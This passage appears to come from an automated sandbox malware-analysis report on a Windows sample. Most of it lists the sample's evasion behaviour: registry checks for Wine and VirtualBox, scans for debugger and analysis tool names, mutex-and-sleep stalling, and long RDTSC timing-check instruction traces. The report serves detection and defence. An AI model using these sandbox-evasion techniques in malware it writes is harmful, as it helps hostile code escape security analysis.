Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROCMON.EXE
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: X64DBG.EXE
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WINDBG.EXE
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 850261 second address: 850265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 850265 second address: 850289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 850289 second address: 85028E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 84FB15 second address: 84FB2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 84FB2A second address: 84FB2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 84FB2E second address: 84FB32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CC073 second address: 9CC0B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E5C73ECB9h 0x00000008 jmp 00007F4E5C73ECB5h 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jp 00007F4E5C73ECA6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9BF0A2 second address: 9BF0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CB115 second address: 9CB13B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jg 00007F4E5C73ECBFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CB13B second address: 9CB167 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B52h 0x00000007 jp 00007F4E5D020B52h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CB167 second address: 9CB172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CB172 second address: 9CB178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CB178 second address: 9CB17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CB437 second address: 9CB443 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CB443 second address: 9CB44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CB6F6 second address: 9CB6FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDA4F second address: 9CDAA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F4E5C73ECAAh 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 nop 0x00000015 xor edi, dword ptr [ebp+122D1EDFh] 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e mov dword ptr [ebp+122D1D7Bh], edx 0x00000024 movsx esi, cx 0x00000027 popad 0x00000028 call 00007F4E5C73ECA9h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F4E5C73ECB2h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDAA0 second address: 9CDAA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDAA6 second address: 9CDABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4E5C73ECAEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDABF second address: 9CDADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5D020B4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F4E5D020B4Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDADE second address: 9CDAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDAE2 second address: 9CDAE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDAE8 second address: 9CDBA3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4E5C73ECA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnl 00007F4E5C73ECB2h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push ebx 0x00000019 jmp 00007F4E5C73ECB8h 0x0000001e pop ebx 0x0000001f pop eax 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F4E5C73ECA8h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a mov si, di 0x0000003d add edi, dword ptr [ebp+122D2AA4h] 0x00000043 push 00000003h 0x00000045 and edi, dword ptr [ebp+122D246Bh] 0x0000004b push 00000000h 0x0000004d push 00000000h 0x0000004f push eax 0x00000050 call 00007F4E5C73ECA8h 0x00000055 pop eax 0x00000056 mov dword ptr [esp+04h], eax 0x0000005a add dword ptr [esp+04h], 0000001Bh 0x00000062 inc eax 0x00000063 push eax 0x00000064 ret 0x00000065 pop eax 0x00000066 ret 0x00000067 jnc 00007F4E5C73ECA6h 0x0000006d push 00000003h 0x0000006f mov edx, dword ptr [ebp+122D2D50h] 0x00000075 call 00007F4E5C73ECA9h 0x0000007a jc 00007F4E5C73ECB4h 0x00000080 push eax 0x00000081 push edx 0x00000082 js 00007F4E5C73ECA6h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDBA3 second address: 9CDC2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F4E5D020B4Dh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F4E5D020B50h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F4E5D020B4Ah 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 jmp 00007F4E5D020B55h 0x00000026 pushad 0x00000027 jnp 00007F4E5D020B46h 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 popad 0x00000031 pop eax 0x00000032 movzx esi, di 0x00000035 lea ebx, dword ptr [ebp+1245191Dh] 0x0000003b jmp 00007F4E5D020B4Eh 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F4E5D020B57h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDC2F second address: 9CDC4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4E5C73ECB3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDCAE second address: 9CDCB3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDCB3 second address: 9CDCDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+122D2A24h], edi 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 mov edi, dword ptr [ebp+122D1BECh] 0x00000019 pop edx 0x0000001a push 6F8297F9h 0x0000001f pushad 0x00000020 jnc 00007F4E5C73ECA8h 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDE52 second address: 9CDEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 xor dword ptr [esp], 57CBE51Bh 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F4E5D020B48h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov dh, 30h 0x00000029 push 00000003h 0x0000002b push ecx 0x0000002c mov edi, dword ptr [ebp+122D2B08h] 0x00000032 pop edi 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007F4E5D020B48h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f sub dx, 413Ah 0x00000054 push 00000003h 0x00000056 push F3C864CBh 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDEC0 second address: 9CDED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDED8 second address: 9CDEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9CDEDC second address: 9CDF3D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 33C864CBh 0x0000000e mov ecx, dword ptr [ebp+122D1C6Bh] 0x00000014 lea ebx, dword ptr [ebp+12451931h] 0x0000001a mov dword ptr [ebp+122D28ABh], eax 0x00000020 pushad 0x00000021 jmp 00007F4E5C73ECB6h 0x00000026 mov dword ptr [ebp+122D180Bh], eax 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e push edx 0x0000002f push eax 0x00000030 jmp 00007F4E5C73ECB9h 0x00000035 pop eax 0x00000036 pop edx 0x00000037 push eax 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF9B9 second address: 9EF9BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9B34DB second address: 9B34E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9B34E0 second address: 9B34E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9ED913 second address: 9ED91B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDA69 second address: 9EDA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDA6D second address: 9EDA77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4E5C73ECA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDA77 second address: 9EDA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4E5D020B4Ah 0x0000000d jbe 00007F4E5D020B46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDA8F second address: 9EDA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDBB9 second address: 9EDBC3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4E5D020B46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDBC3 second address: 9EDBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDD12 second address: 9EDD26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jo 00007F4E5D020B46h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDD26 second address: 9EDD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDD2A second address: 9EDD5F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4E5D020B46h 0x00000008 ja 00007F4E5D020B46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F4E5D020B51h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jo 00007F4E5D020B46h 0x00000022 jnc 00007F4E5D020B46h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EDD5F second address: 9EDD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EE273 second address: 9EE278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EE278 second address: 9EE284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F4E5C73ECA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EE284 second address: 9EE288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EE6CA second address: 9EE6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EE80B second address: 9EE81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4E5D020B46h 0x0000000a js 00007F4E5D020B4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9E59B2 second address: 9E59F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4E5C73ECA6h 0x0000000a popad 0x0000000b jmp 00007F4E5C73ECADh 0x00000010 jbe 00007F4E5C73ECB4h 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F4E5C73ECACh 0x0000001d popad 0x0000001e pushad 0x0000001f jmp 00007F4E5C73ECAEh 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9E59F2 second address: 9E59F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF080 second address: 9EF086 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF086 second address: 9EF08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF08C second address: 9EF092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF092 second address: 9EF0C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4E5D020B51h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jbe 00007F4E5D020B46h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4E5D020B4Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF0C6 second address: 9EF0D0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4E5C73ECA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF0D0 second address: 9EF0DF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F4E5D020B46h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF222 second address: 9EF260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E5C73ECB8h 0x00000007 jmp 00007F4E5C73ECB8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e ja 00007F4E5C73ECCDh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe RDTSC instruction interceptor: First address: 9EF38F second address: 9EF3C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4E5D020B58h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4E5D020B57h 0x00000010 rdtsc
